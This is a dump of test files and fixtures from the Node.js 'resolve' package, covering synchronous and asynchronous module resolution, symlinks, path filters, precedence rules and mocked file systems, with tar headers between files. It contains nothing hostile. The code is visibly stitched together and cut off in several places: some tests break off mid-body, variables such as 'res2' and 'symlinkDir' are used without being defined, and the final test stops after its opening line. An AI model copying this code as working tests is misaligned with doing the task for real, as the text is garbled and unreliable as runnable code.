        path.join(resolverDir, 'other_path/lib/other-lib.js')
    );

t.throws(function () {
        resolve.sync('root', { basedir: dir });
    });

t.throws(function () {
        resolve.sync('zzz', {
            basedir: dir,
            paths: [otherDir]
        });
    });

t.end();
});

test('path iterator', function (t) {
    var resolverDir = path.join(__dirname, 'resolver');

var exactIterator = function (x, start, getPackageCandidates, opts) {
        return [path.join(resolverDir, x)];
    };

t.equal(
        resolve.sync('baz', { packageIterator: exactIterator }),
        path.join(resolverDir, 'baz/quux.js')
    );

t.end();
});

test('incorrect main', function (t) {
    var resolverDir = path.join(__dirname, 'resolver');
    var dir = path.join(resolverDir, 'incorrect_main');

t.equal(
        resolve.sync('./incorrect_main', { basedir: resolverDir }),
        path.join(dir, 'index.js')
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./incorrect_main', { basedir: resolverDir }),
            require.resolve('./incorrect_main', { paths: [resolverDir] }),
            './incorrect_main: resolve.sync === require.resolve'
        );
    }

t.end();
});

test('missing index', function (t) {
    t.plan(requireResolveSupportsPaths ? 2 : 1);

test('missing main', function (t) {
    var resolverDir = path.join(__dirname, 'resolver');

try {
        resolve.sync('./missing_main', { basedir: resolverDir });
        t.fail('require.resolve did not fail');
    } catch (err) {
        t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code');
    }
    if (requireResolveSupportsPaths) {
        try {
            resolve.sync('./missing_main', { basedir: resolverDir });
            t.fail('require.resolve did not fail');
        } catch (err) {
            t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code');
        }
    }

t.end();
});

test('null main', function (t) {
    var resolverDir = path.join(__dirname, 'resolver');

try {
        resolve.sync('./null_main', { basedir: resolverDir });
        t.fail('require.resolve did not fail');
    } catch (err) {
        t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code');
    }
    if (requireResolveSupportsPaths) {
        try {
            resolve.sync('./null_main', { basedir: resolverDir });
            t.fail('require.resolve did not fail');
        } catch (err) {
            t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error has correct error code');
        }
    }

t.end();
});

test('main: false', function (t) {
    var basedir = path.join(__dirname, 'resolver');
    var dir = path.join(basedir, 'false_main');
    t.equal(
        resolve.sync('./false_main', { basedir: basedir }),
        path.join(dir, 'index.js'),
        '`"main": false`: resolves to `index.js`'
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./false_main', { basedir: basedir }),
            require.resolve('./false_main', { paths: [basedir] }),
            '`"main": false`: resolve.sync === require.resolve'
        );
    }

t.end();
});

test('#79 - re-throw non ENOENT errors from stat', function (t) {
    var dir = path.join(__dirname, 'resolver');

stubStatSync(function () {
        t.throws(function () {
            resolve.sync('foo', { basedir: dir });
        }, /Unknown Error/);
    });

t.end();
});

test('#52 - incorrectly resolves module-paths like "./someFolder/" when there is a file of the same name', function (t) {
    var dir = path.join(__dirname, 'resolver');
    var basedir = path.join(dir, 'same_names');

t.equal(
        resolve.sync('./foo', { basedir: basedir }),
        path.join(dir, 'same_names/foo.js')
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./foo', { basedir: basedir }),
            require.resolve('./foo', { paths: [basedir] }),
            './foo: resolve.sync === require.resolve'
        );
    }

t.equal(
        resolve.sync('./foo/', { basedir: basedir }),
        path.join(dir, 'same_names/foo/index.js')
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./foo/', { basedir: basedir }),
            require.resolve('./foo/', { paths: [basedir] }),
            './foo/: resolve.sync === require.resolve'
        );
    }

t.end();
});

test('#211 - incorrectly resolves module-paths like "." when from inside a folder with a sibling file of the same name', function (t) {
    var dir = path.join(__dirname, 'resolver');
    var basedir = path.join(dir, 'same_names/foo');

t.equal(
        resolve.sync('./', { basedir: basedir }),
        path.join(dir, 'same_names/foo/index.js'),
        './'
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./', { basedir: basedir }),
            require.resolve('./', { paths: [basedir] }),
            './: resolve.sync === require.resolve'
        );
    }

t.equal(
        resolve.sync('.', { basedir: basedir }),
        path.join(dir, 'same_names/foo/index.js'),
        '.'
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('.', { basedir: basedir }),
            require.resolve('.', { paths: [basedir] }),
            '.: resolve.sync === require.resolve',
            { todo: true }
        );
    }

t.end();
});

test('sync: #121 - treating an existing file as a dir when no basedir', function (t) {
    var testFile = path.basename(__filename);

t.test('sanity check', function (st) {
        st.equal(
            resolve.sync('./' + testFile),
            __filename,
            'sanity check'
        );
        st.equal(
            resolve.sync('./' + testFile),
            require.resolve('./' + testFile),
            'sanity check: resolve.sync === require.resolve'
        );

st.end();
    });

t.test('with a fake directory', function (st) {
        function run() { return resolve.sync('./' + testFile + '/blah'); }

st.throws(run, 'throws an error');

try {
            run();
        } catch (e) {
            st.equal(e.code, 'MODULE_NOT_FOUND', 'error code matches require.resolve');
            st.equal(
                e.message,
                'Cannot find module \'./' + testFile + '/blah\' from \'' + __dirname + '\'',
                'can not find nonexistent module'
            );
        }

st.end();
    });

t.end();
});

test('sync dot main', function (t) {
    var start = new Date();

t.equal(
        resolve.sync('./resolver/dot_main'),
        path.join(__dirname, 'resolver/dot_main/index.js'),
        './resolver/dot_main'
    );
    t.equal(
        resolve.sync('./resolver/dot_main'),
        require.resolve('./resolver/dot_main'),
        './resolver/dot_main: resolve.sync === require.resolve'
    );

t.ok(new Date() - start < 50, 'resolve.sync timedout');

t.end();
});

test('sync dot slash main', function (t) {
    var start = new Date();

t.equal(
        resolve.sync('./resolver/dot_slash_main'),
        path.join(__dirname, 'resolver/dot_slash_main/index.js')
    );
    t.equal(
        resolve.sync('./resolver/dot_slash_main'),
        require.resolve('./resolver/dot_slash_main'),
        './resolver/dot_slash_main: resolve.sync === require.resolve'
    );

t.ok(new Date() - start < 50, 'resolve.sync timedout');

t.end();
});

test('not a directory', function (t) {
    var path = './foo';
    try {
        resolve.sync(path, { basedir: __filename });
        t.fail();
    } catch (err) {
        t.ok(err, 'a non-directory errors');
        t.equal(err && err.message, 'Cannot find module \'' + path + "' from '" + __filename + "'");
        t.equal(err && err.code, 'MODULE_NOT_FOUND');
    }
    t.end();
});

test('non-string "main" field in package.json', function (t) {
    var dir = path.join(__dirname, 'resolver');
    try {
        var result = resolve.sync('./invalid_main', { basedir: dir });
        t.equal(result, undefined, 'result should not exist');
        t.fail('should not get here');
    } catch (err) {
        t.ok(err, 'errors on non-string main');
        t.equal(err.message, 'package “invalid_main” `main` must be a string');
        t.equal(err.code, 'INVALID_PACKAGE_MAIN');
    }
    t.end();
});

test('browser field in package.json', function (t) {
    var dir = path.join(__dirname, 'resolver');
    var res = resolve.sync('./browser_field', {
        basedir: dir,
        packageFilter: function packageFilter(pkg) {
            if (pkg.browser) {
                pkg.main = pkg.browser; // eslint-disable-line no-param-reassign
                delete pkg.browser; // eslint-disable-line no-param-reassign
            }
            return pkg;
        }
    });
    t.equal(res, path.join(dir, 'browser_field', 'b.js'));
    t.end();
});

test('absolute paths', function (t) {
    var extensionless = __filename.slice(0, -path.extname(__filename).length);

t.equal(
        resolve.sync(__filename),
        __filename,
        'absolute path to this file resolves'
    );
    t.equal(
        resolve.sync(__filename),
        require.resolve(__filename),
        'absolute path to this file: resolve.sync === require.resolve'
    );

t.equal(
        resolve.sync(extensionless),
        __filename,
        'extensionless absolute path to this file resolves'
    );
    t.equal(
        resolve.sync(__filename),
        require.resolve(__filename),
        'absolute path to this file: resolve.sync === require.resolve'
    );

t.equal(
        resolve.sync(__filename, { basedir: process.cwd() }),
        __filename,
        'absolute path to this file with a basedir resolves'
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync(__filename, { basedir: process.cwd() }),
            require.resolve(__filename, { paths: [process.cwd()] }),
            'absolute path to this file + basedir: resolve.sync === require.resolve'
        );
    }

t.equal(
        resolve.sync(extensionless, { basedir: process.cwd() }),
        __filename,
        'extensionless absolute path to this file with a basedir resolves'
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync(extensionless, { basedir: process.cwd() }),
            require.resolve(extensionless, { paths: [process.cwd()] }),
            'extensionless absolute path to this file + basedir: resolve.sync === require.resolve'
        );
    }

t.end();
});

var malformedDir = path.join(__dirname, 'resolver/malformed_package_json');
test('malformed package.json', { skip: !fs.existsSync(malformedDir) }, function (t) {
    t.plan(5 + (requireResolveSupportsPaths ? 1 : 0));

var basedir = malformedDir;
    var expected = path.join(basedir, 'index.js');

t.equal(
        resolve.sync('./index.js', { basedir: basedir }),
        expected,
        'malformed package.json is silently ignored'
    );
    if (requireResolveSupportsPaths) {
        t.equal(
            resolve.sync('./index.js', { basedir: basedir }),
            require.resolve('./index.js', { paths: [basedir] }),
            'malformed package.json: resolve.sync === require.resolve'
        );
    }

var res1 = resolve.sync(
        './index.js',
        {
            basedir: basedir,
            packageFilter: function (pkg, pkgfile, dir) {
                t.fail('should not reach here');
            }
        }
    );

t.equal(
        res1,
        expected,
        'with packageFilter: malformed package.json is silently ignored'
    );

t.equal(
        res2,
        expected,
        'with readPackageSync: malformed package.json is silently ignored'
    );
});
test/dotdot/abc/index.js000064400000000047151676724420011231 0ustar00var x = require('..');
console.log(x);
test/dotdot/index.js000064400000000035151676724420010501 0ustar00module.exports = 'whatever';
test/node_path/y/bbb/index.js000064400000000026151676724420012142 0ustar00module.exports = 'B';
test/node_path/y/ccc/index.js000064400000000027151676724420012146 0ustar00module.exports = 'CY';
test/node_path/x/aaa/index.js000064400000000026151676724420012136 0ustar00module.exports = 'A';
test/node_path/x/ccc/index.js000064400000000026151676724420012144 0ustar00module.exports = 'C';
test/dotdot.js000064400000001437151676724420007401 0ustar00var path = require('path');
var test = require('tape');
var resolve = require('../');

test('dotdot', function (t) {
    t.plan(4);
    var dir = path.join(__dirname, '/dotdot/abc');

resolve('..', { basedir: dir }, function (err, res, pkg) {
        t.ifError(err);
        t.equal(res, path.join(__dirname, 'dotdot/index.js'));
    });

resolve('.', { basedir: dir }, function (err, res, pkg) {
        t.ifError(err);
        t.equal(res, path.join(dir, 'index.js'));
    });
});

test('dotdot sync', function (t) {
    t.plan(2);
    var dir = path.join(__dirname, '/dotdot/abc');

var a = resolve.sync('..', { basedir: dir });
    t.equal(a, path.join(__dirname, 'dotdot/index.js'));

var b = resolve.sync('.', { basedir: dir });
    t.equal(b, path.join(dir, 'index.js'));
});
test/filter.js000064400000002025151676724420007363 0ustar00var path = require('path');
var test = require('tape');
var resolve = require('../');

test('filter', function (t) {
    t.plan(4);
    var dir = path.join(__dirname, 'resolver');
    var packageFilterArgs;
    resolve('./baz', {
        basedir: dir,
        packageFilter: function (pkg, pkgfile) {
            pkg.main = 'doom'; // eslint-disable-line no-param-reassign
            packageFilterArgs = [pkg, pkgfile];
            return pkg;
        }
    }, function (err, res, pkg) {
        if (err) t.fail(err);

t.equal(res, path.join(dir, 'baz/doom.js'), 'changing the package "main" works');

var packageData = packageFilterArgs[0];
        t.equal(pkg, packageData, 'first packageFilter argument is "pkg"');
        t.equal(packageData.main, 'doom', 'package "main" was altered');

var packageFile = packageFilterArgs[1];
        t.equal(
            packageFile,
            path.join(dir, 'baz/package.json'),
            'second packageFilter argument is "pkgfile"'
        );

t.end();
    });
});
test/resolver/cup.coffee000064400000000001151676724420011331 0ustar00
test/resolver/quux/foo/index.js000064400000000024151676724420012630 0ustar00module.exports = 1;
test/resolver/symlinked/package/package.json000064400000000030151676724420015253 0ustar00{
    "main": "bar.js"
}test/resolver/symlinked/package/bar.js000064400000000030151676724420014067 0ustar00module.exports = 'bar';
test/resolver/symlinked/_/symlink_target/.gitkeep000064400000000000151676724420016272 0ustar00test/resolver/symlinked/_/node_modules/foo.js000064400000000000151676724420015403 0ustar00test/resolver/dot_slash_main/package.json000064400000000025151676724420014651 0ustar00{
    "main": "./"
}
test/resolver/dot_slash_main/index.js000064400000000024151676724420014027 0ustar00module.exports = 1;
test/resolver/mug.js000064400000000000151676724420010516 0ustar00test/resolver/multirepo/package.json000064400000000603151676724420013707 0ustar00{
  "name": "ljharb-monorepo-symlink-test",
  "private": true,
  "version": "0.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "lerna bootstrap",
    "test": "node packages/package-a"
  },
  "author": "",
  "license": "MIT",
  "dependencies": {
    "jquery": "^3.3.1",
    "resolve": "../../../"
  },
  "devDependencies": {
    "lerna": "^3.4.3"
  }
}
test/resolver/multirepo/packages/package-b/package.json000064400000000431151676724420017276 0ustar00{
  "name": "@my-scope/package-b",
  "private": true,
  "version": "0.0.0",
  "description": "",
  "license": "MIT",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: run tests from root\" && exit 1"
  },
  "dependencies": {
    "@my-scope/package-a": "^0.0.0"
  }
}
test/resolver/multirepo/packages/package-b/index.js000064400000000000151676724420016445 0ustar00test/resolver/multirepo/packages/package-a/package.json000064400000000431151676724420017275 0ustar00{
  "name": "@my-scope/package-a",
  "version": "0.0.0",
  "private": true,
  "description": "",
  "license": "MIT",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: run tests from root\" && exit 1"
  },
  "dependencies": {
    "@my-scope/package-b": "^0.0.0"
  }
}
test/resolver/multirepo/packages/package-a/index.js000064400000002447151676724420016465 0ustar00'use strict';

var assert = require('assert');
var path = require('path');
var resolve = require('resolve');

var basedir = __dirname + '/node_modules/@my-scope/package-b';

var expected = path.join(__dirname, '../../node_modules/jquery/dist/jquery.js');

/*
 * preserveSymlinks === false
 * will search NPM package from
 * - packages/package-b/node_modules
 * - packages/node_modules
 * - node_modules
 */
assert.equal(resolve.sync('jquery', { basedir: basedir, preserveSymlinks: false }), expected);
assert.equal(resolve.sync('../../node_modules/jquery', { basedir: basedir, preserveSymlinks: false }), expected);

/*
 * preserveSymlinks === true
 * will search NPM package from
 * - packages/package-a/node_modules/@my-scope/packages/package-b/node_modules
 * - packages/package-a/node_modules/@my-scope/packages/node_modules
 * - packages/package-a/node_modules/@my-scope/node_modules
 * - packages/package-a/node_modules/node_modules
 * - packages/package-a/node_modules
 * - packages/node_modules
 * - node_modules
 */
assert.equal(resolve.sync('jquery', { basedir: basedir, preserveSymlinks: true }), expected);
assert.equal(resolve.sync('../../../../../node_modules/jquery', { basedir: basedir, preserveSymlinks: true }), expected);

console.log(' * all monorepo paths successfully resolved through symlinks');
test/resolver/multirepo/lerna.json000064400000000077151676724420013422 0ustar00{
  "packages": [
    "packages/*"
  ],
  "version": "0.0.0"
}
test/resolver/other_path/lib/other-lib.js000064400000000000151676724420014516 0ustar00test/resolver/other_path/root.js000064400000000000151676724420013046 0ustar00test/resolver/browser_field/package.json000064400000000077151676724420014522 0ustar00{
  "name": "browser_field",
  "main": "a",
  "browser": "b"
}
test/resolver/browser_field/b.js000064400000000000151676724420012775 0ustar00test/resolver/browser_field/a.js000064400000000000151676724420012774 0ustar00test/resolver/dot_main/package.json000064400000000024151676724420013456 0ustar00{
    "main": "."
}
test/resolver/dot_main/index.js000064400000000024151676724420012635 0ustar00module.exports = 1;
test/resolver/without_basedir/main.js000064400000000157151676724420014063 0ustar00var resolve = require('../../../');

module.exports = function (t, cb) {
    resolve('mymodule', null, cb);
};
test/resolver/false_main/package.json000064400000000052151676724420013763 0ustar00{
	"name": "false_main",
	"main": false
}
test/resolver/false_main/index.js000064400000000000151676724420013133 0ustar00test/resolver/mug.coffee000064400000000000151676724420011331 0ustar00test/resolver/same_names/foo/index.js000064400000000024151676724420013736 0ustar00module.exports = 1;
test/resolver/same_names/foo.js000064400000000025151676724420012630 0ustar00module.exports = 42;
test/resolver/incorrect_main/package.json000064400000000033151676724420014660 0ustar00{
    "main": "wrong.js"
}
test/resolver/incorrect_main/index.js000064400000000164151676724420014044 0ustar00// this is the actual main file 'index.js', not 'wrong.js' like the package.json would indicate
module.exports = 1;
test/resolver/nested_symlinks/mylib/package.json000064400000000403151676724420016214 0ustar00{
  "name": "mylib",
  "version": "0.0.0",
  "description": "",
  "private": true,
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "buffer": "*"
  }
}
test/resolver/nested_symlinks/mylib/async.js000064400000001532151676724420015405 0ustar00var a = require.resolve('buffer/').replace(process.cwd(), '$CWD');
var b;
var c;

var test = function test() {
    console.log(a, ': require.resolve, preserveSymlinks ' + (process.execArgv.indexOf('preserve-symlinks') > -1 ? 'true' : 'false'));
    console.log(b, ': preserveSymlinks true');
    console.log(c, ': preserveSymlinks false');

if (a !== b && a !== c) {
        throw 'async: no match';
    }
    console.log('async: success! a matched either b or c\n');
};

require('resolve')('buffer/', { preserveSymlinks: true }, function (err, result) {
    if (err) { throw err; }
    b = result.replace(process.cwd(), '$CWD');
    if (b && c) { test(); }
});
require('resolve')('buffer/', { preserveSymlinks: false }, function (err, result) {
    if (err) { throw err; }
    c = result.replace(process.cwd(), '$CWD');
    if (b && c) { test(); }
});

test/resolver/nested_symlinks/mylib/sync.js000064400000001136151676724420015244 0ustar00var a = require.resolve('buffer/').replace(process.cwd(), '$CWD');
var b = require('resolve').sync('buffer/', { preserveSymlinks: true }).replace(process.cwd(), '$CWD');
var c = require('resolve').sync('buffer/', { preserveSymlinks: false }).replace(process.cwd(), '$CWD');

console.log(a, ': require.resolve, preserveSymlinks ' + (process.execArgv.indexOf('preserve-symlinks') > -1 ? 'true' : 'false'));
console.log(b, ': preserveSymlinks true');
console.log(c, ': preserveSymlinks false');

if (a !== b && a !== c) {
    throw 'sync: no match';
}
console.log('sync: success! a matched either b or c\n');
test/resolver/baz/package.json000064400000000055151676724420012444 0ustar00{
    "name": "baz",
    "main": "quux.js"
}
test/resolver/baz/quux.js000064400000000024151676724420011512 0ustar00module.exports = 1;
test/resolver/baz/doom.js000064400000000000151676724420011440 0ustar00test/resolver/foo.js000064400000000024151676724420010517 0ustar00module.exports = 1;
test/resolver/invalid_main/package.json000064400000000135151676724420014321 0ustar00{
  "name": "invalid_main",
  "main": [
    "why is this a thing",
    "srsly omg wtf"
  ]
}
test/pathfilter.js000064400000004310151676724420010237 0ustar00var path = require('path');
var test = require('tape');
var resolve = require('../');

var resolverDir = path.join(__dirname, '/pathfilter/deep_ref');

var pathFilterFactory = function (t) {
    return function (pkg, x, remainder) {
        t.equal(pkg.version, '1.2.3');
        t.equal(x, path.join(resolverDir, 'node_modules/deep/ref'));
        t.equal(remainder, 'ref');
        return 'alt';
    };
};

test('#62: deep module references and the pathFilter', function (t) {
    t.test('deep/ref.js', function (st) {
        st.plan(3);

resolve('deep/ref', { basedir: resolverDir }, function (err, res, pkg) {
            if (err) st.fail(err);

st.equal(pkg.version, '1.2.3');
            st.equal(res, path.join(resolverDir, 'node_modules/deep/ref.js'));
        });

var res = resolve.sync('deep/ref', { basedir: resolverDir });
        st.equal(res, path.join(resolverDir, 'node_modules/deep/ref.js'));
    });

t.test('deep/deeper/ref', function (st) {
        st.plan(4);

resolve(
            'deep/deeper/ref',
            { basedir: resolverDir },
            function (err, res, pkg) {
                if (err) t.fail(err);
                st.notEqual(pkg, undefined);
                st.equal(pkg.version, '1.2.3');
                st.equal(res, path.join(resolverDir, 'node_modules/deep/deeper/ref.js'));
            }
        );

var res = resolve.sync(
            'deep/deeper/ref',
            { basedir: resolverDir }
        );
        st.equal(res, path.join(resolverDir, 'node_modules/deep/deeper/ref.js'));
    });

t.test('deep/ref alt', function (st) {
        st.plan(8);

var pathFilter = pathFilterFactory(st);

var res = resolve.sync(
            'deep/ref',
            { basedir: resolverDir, pathFilter: pathFilter }
        );
        st.equal(res, path.join(resolverDir, 'node_modules/deep/alt.js'));

resolve(
            'deep/ref',
            { basedir: resolverDir, pathFilter: pathFilter },
            function (err, res, pkg) {
                if (err) st.fail(err);
                st.equal(res, path.join(resolverDir, 'node_modules/deep/alt.js'));
                st.end();
            }
        );
    });

t.end();
});
test/symlinks.js000064400000014607151676724420007760 0ustar00var path = require('path');
var fs = require('fs');
var test = require('tape');
var map = require('array.prototype.map');
var resolve = require('../');

try {
    fs.symlinkSync('./_/symlink_target', symlinkDir, 'dir');
} catch (err) {
    // if fails then it is probably on Windows and lets try to create a junction
    fs.symlinkSync(path.join(__dirname, 'resolver', 'symlinked', '_', 'symlink_target') + '\\', symlinkDir, 'junction');
}
try {
    fs.symlinkSync('../../package', packageDir, 'dir');
} catch (err) {
    // if fails then it is probably on Windows and lets try to create a junction
    fs.symlinkSync(path.join(__dirname, '..', '..', 'package') + '\\', packageDir, 'junction');
}
try {
    fs.symlinkSync('../../source/node_modules/mod-a', symlinkModADir, 'dir');
} catch (err) {
    // if fails then it is probably on Windows and lets try to create a junction
    fs.symlinkSync(path.join(__dirname, '..', '..', 'source', 'node_modules', 'mod-a') + '\\', symlinkModADir, 'junction');
}

test('symlink', function (t) {
    t.plan(2);

resolve('foo', { basedir: symlinkDir, preserveSymlinks: false }, function (err, res, pkg) {
        t.error(err);
        t.equal(res, path.join(__dirname, 'resolver', 'symlinked', '_', 'node_modules', 'foo.js'));
    });
});

test('sync symlink when preserveSymlinks = true', function (t) {
    t.plan(4);

resolve('foo', { basedir: symlinkDir }, function (err, res, pkg) {
        t.ok(err, 'there is an error');
        t.notOk(res, 'no result');

t.equal(err && err.code, 'MODULE_NOT_FOUND', 'error code matches require.resolve');
        t.equal(
            err && err.message,
            'Cannot find module \'foo\' from \'' + symlinkDir + '\'',
            'can not find nonexistent module'
        );
    });
});

test('sync symlink', function (t) {
    var start = new Date();
    t.doesNotThrow(function () {
        t.equal(
            resolve.sync('foo', { basedir: symlinkDir, preserveSymlinks: false }),
            path.join(__dirname, 'resolver', 'symlinked', '_', 'node_modules', 'foo.js')
        );
    });
    t.ok(new Date() - start < 50, 'resolve.sync timedout');
    t.end();
});

test('sync symlink when preserveSymlinks = true', function (t) {
    t.throws(function () {
        resolve.sync('foo', { basedir: symlinkDir });
    }, /Cannot find module 'foo'/);
    t.end();
});

test('sync symlink from node_modules to other dir when preserveSymlinks = false', function (t) {
    var basedir = path.join(__dirname, 'resolver', 'symlinked', '_');
    var fn = resolve.sync('package', { basedir: basedir, preserveSymlinks: false });

t.equal(fn, path.resolve(__dirname, 'resolver/symlinked/package/bar.js'));
    t.end();
});

test('async symlink from node_modules to other dir when preserveSymlinks = false', function (t) {
    t.plan(2);
    var basedir = path.join(__dirname, 'resolver', 'symlinked', '_');
    resolve('package', { basedir: basedir, preserveSymlinks: false }, function (err, result) {
        t.notOk(err, 'no error');
        t.equal(result, path.resolve(__dirname, 'resolver/symlinked/package/bar.js'));
    });
});

test('packageFilter', function (t) {
    function relative(x) {
        return path.relative(__dirname, x);
    }

function testPackageFilter(preserveSymlinks) {
        return function (st) {
            st.plan('is 1.x' ? 3 : 5); // eslint-disable-line no-constant-condition

var destMain = 'symlinks/dest/node_modules/mod-a/index.js';
            var destPkg = 'symlinks/dest/node_modules/mod-a/package.json';
            var sourceMain = 'symlinks/source/node_modules/mod-a/index.js';
            var sourcePkg = 'symlinks/source/node_modules/mod-a/package.json';
            var destDir = path.join(__dirname, 'symlinks', 'dest');

/* eslint multiline-comment-style: 0 */
            /* v2.x will restore these tests
            var packageFilterPath = [];
            var actualPath = resolve.sync('mod-a', {
                basedir: destDir,
                preserveSymlinks: preserveSymlinks,
                packageFilter: function (pkg, pkgfile, dir) {
                    packageFilterPath.push(pkgfile);
                }
            });
            st.equal(
                relative(actualPath),
                path.normalize(preserveSymlinks ? destMain : sourceMain),
                'sync: actual path is correct'
            );
            st.deepEqual(
                map(packageFilterPath, relative),
                map(preserveSymlinks ? [destPkg, destPkg] : [sourcePkg, sourcePkg], path.normalize),
                'sync: packageFilter pkgfile arg is correct'
            );
            */

t.test('preserveSymlinks: false', testPackageFilter(false));

t.test('preserveSymlinks: true', testPackageFilter(true));

t.end();
});
test/precedence/aaa/index.js000064400000000031151676724420012017 0ustar00module.exports = 'okok';
test/precedence/aaa/main.js000064400000000034151676724420011637 0ustar00console.log(require('./'));
test/precedence/bbb.js000064400000000030151676724420010712 0ustar00module.exports = '>_<';
test/precedence/bbb/main.js000064400000000054151676724420011644 0ustar00console.log(require('./')); // should throw
test/precedence/aaa.js000064400000000030151676724420010707 0ustar00module.exports = 'wtf';
test/pathfilter/deep_ref/main.js000064400000000000151676724420012724 0ustar00test/precedence.js000064400000001206151676724420010173 0ustar00var path = require('path');
var test = require('tape');
var resolve = require('../');

test('precedence', function (t) {
    t.plan(3);
    var dir = path.join(__dirname, 'precedence/aaa');

resolve('./', { basedir: dir }, function (err, res, pkg) {
        t.ifError(err);
        t.equal(res, path.join(dir, 'index.js'));
        t.equal(pkg.name, 'resolve');
    });
});

test('./ should not load ${dir}.js', function (t) { // eslint-disable-line no-template-curly-in-string
    t.plan(1);
    var dir = path.join(__dirname, 'precedence/bbb');

resolve('./', { basedir: dir }, function (err, res, pkg) {
        t.ok(err);
    });
});
test/mock.js000064400000023434151676724420007036 0ustar00var path = require('path');
var test = require('tape');
var resolve = require('../');

test('mock', function (t) {
    t.plan(8);

var files = {};
    files[path.resolve('/foo/bar/baz.js')] = 'beep';

var dirs = {};
    dirs[path.resolve('/foo/bar')] = true;

resolve('./baz', opts('/foo/bar'), function (err, res, pkg) {
        if (err) return t.fail(err);
        t.equal(res, path.resolve('/foo/bar/baz.js'));
        t.equal(pkg, undefined);
    });

resolve('./baz.js', opts('/foo/bar'), function (err, res, pkg) {
        if (err) return t.fail(err);
        t.equal(res, path.resolve('/foo/bar/baz.js'));
        t.equal(pkg, undefined);
    });

resolve('baz', opts('/foo/bar'), function (err, res) {
        t.equal(err.message, "Cannot find module 'baz' from '" + path.resolve('/foo/bar') + "'");
        t.equal(err.code, 'MODULE_NOT_FOUND');
    });

resolve('../baz', opts('/foo/bar'), function (err, res) {
        t.equal(err.message, "Cannot find module '../baz' from '" + path.resolve('/foo/bar') + "'");
        t.equal(err.code, 'MODULE_NOT_FOUND');
    });
});

test('mock from package', function (t) {
    t.plan(8);

var files = {};
    files[path.resolve('/foo/bar/baz.js')] = 'beep';

var dirs = {};
    dirs[path.resolve('/foo/bar')] = true;

resolve('./baz', opts('/foo/bar'), function (err, res, pkg) {
        if (err) return t.fail(err);
        t.equal(res, path.resolve('/foo/bar/baz.js'));
        t.equal(pkg && pkg.main, 'bar');
    });

resolve('./baz.js', opts('/foo/bar'), function (err, res, pkg) {
        if (err) return t.fail(err);
        t.equal(res, path.resolve('/foo/bar/baz.js'));
        t.equal(pkg && pkg.main, 'bar');
    });

test('mock package', function (t) {
    t.plan(2);

var files = {};
    files[path.resolve('/foo/node_modules/bar/baz.js')] = 'beep';
    files[path.resolve('/foo/node_modules/bar/package.json')] = JSON.stringify({
        main: './baz.js'
    });

var dirs = {};
    dirs[path.resolve('/foo')] = true;
    dirs[path.resolve('/foo/node_modules')] = true;

resolve('bar', opts('/foo'), function (err, res, pkg) {
        if (err) return t.fail(err);
        t.equal(res, path.resolve('/foo/node_modules/bar/baz.js'));
        t.equal(pkg && pkg.main, './baz.js');
    });
});

test('mock package from package', function (t) {
    t.plan(2);

var files = {};
    files[path.resolve('/foo/node_modules/bar/baz.js')] = 'beep';
    files[path.resolve('/foo/node_modules/bar/package.json')] = JSON.stringify({
        main: './baz.js'
    });

var dirs = {};
    dirs[path.resolve('/foo')] = true;
    dirs[path.resolve('/foo/node_modules')] = true;

test('symlinked', function (t) {
    t.plan(4);

var files = {};
    files[path.resolve('/foo/bar/baz.js')] = 'beep';
    files[path.resolve('/foo/bar/symlinked/baz.js')] = 'beep';

var dirs = {};
    dirs[path.resolve('/foo/bar')] = true;
    dirs[path.resolve('/foo/bar/symlinked')] = true;

if (resolved.indexOf('symlinked') >= 0) {
                    cb(null, resolved);
                    return;
                }

var ext = path.extname(resolved);

if (ext) {
                    var dir = path.dirname(resolved);
                    var base = path.basename(resolved);
                    cb(null, path.join(dir, 'symlinked', base));
                } else {
                    cb(null, path.join(resolved, 'symlinked'));
                }
            }
        };
    }

resolve('./baz', opts('/foo/bar'), function (err, res, pkg) {
        if (err) return t.fail(err);
        t.equal(res, path.resolve('/foo/bar/symlinked/baz.js'));
        t.equal(pkg, undefined);
    });

resolve('./baz.js', opts('/foo/bar'), function (err, res, pkg) {
        if (err) return t.fail(err);
        t.equal(res, path.resolve('/foo/bar/symlinked/baz.js'));
        t.equal(pkg, undefined);
    });
});

test('readPackage', function (t) {
    t.plan(3);

var files = {};
    files[path.resolve('/foo/node_modules/bar/something-else.js')] = 'beep';
    files[path.resolve('/foo/node_modules/bar/package.json')] = JSON.stringify({
        main: './baz.js'
    });
    files[path.resolve('/foo/node_modules/bar/baz.js')] = 'boop';

var dirs = {};
    dirs[path.resolve('/foo')] = true;
    dirs[path.resolve('/foo/node_modules')] = true;

t.test('with readFile', function (st) {
        st.plan(3);

resolve('bar', opts('/foo'), function (err, res, pkg) {
            st.error(err);
            st.equal(res, path.resolve('/foo/node_modules/bar/baz.js'));
            st.equal(pkg && pkg.main, './baz.js');
        });
    });

t.test('with readPackage', function (st) {
        st.plan(3);

var options = opts('/foo');
        delete options.readFile;
        options.readPackage = readPackage;
        resolve('bar', options, function (err, res, pkg) {
            st.error(err);
            st.equal(res, path.resolve('/foo/node_modules/bar/something-else.js'));
            st.equal(pkg && pkg.main, './something-else.js');
        });
    });

t.test('with readFile and readPackage', function (st) {
        st.plan(1);

var fs = require('fs');
var homedir = require('../lib/homedir');
var path = require('path');

var test = require('tape');
var mkdirp = require('mkdirp');
var rimraf = require('rimraf');
var mv = require('mv');
var copyDir = require('copy-dir');
var tmp = require('tmp');

var HOME = homedir();

var hnm = path.join(HOME, '.node_modules');
var hnl = path.join(HOME, '.node_libraries');

var resolve = require('../async');

test('homedir module paths', function (t) {
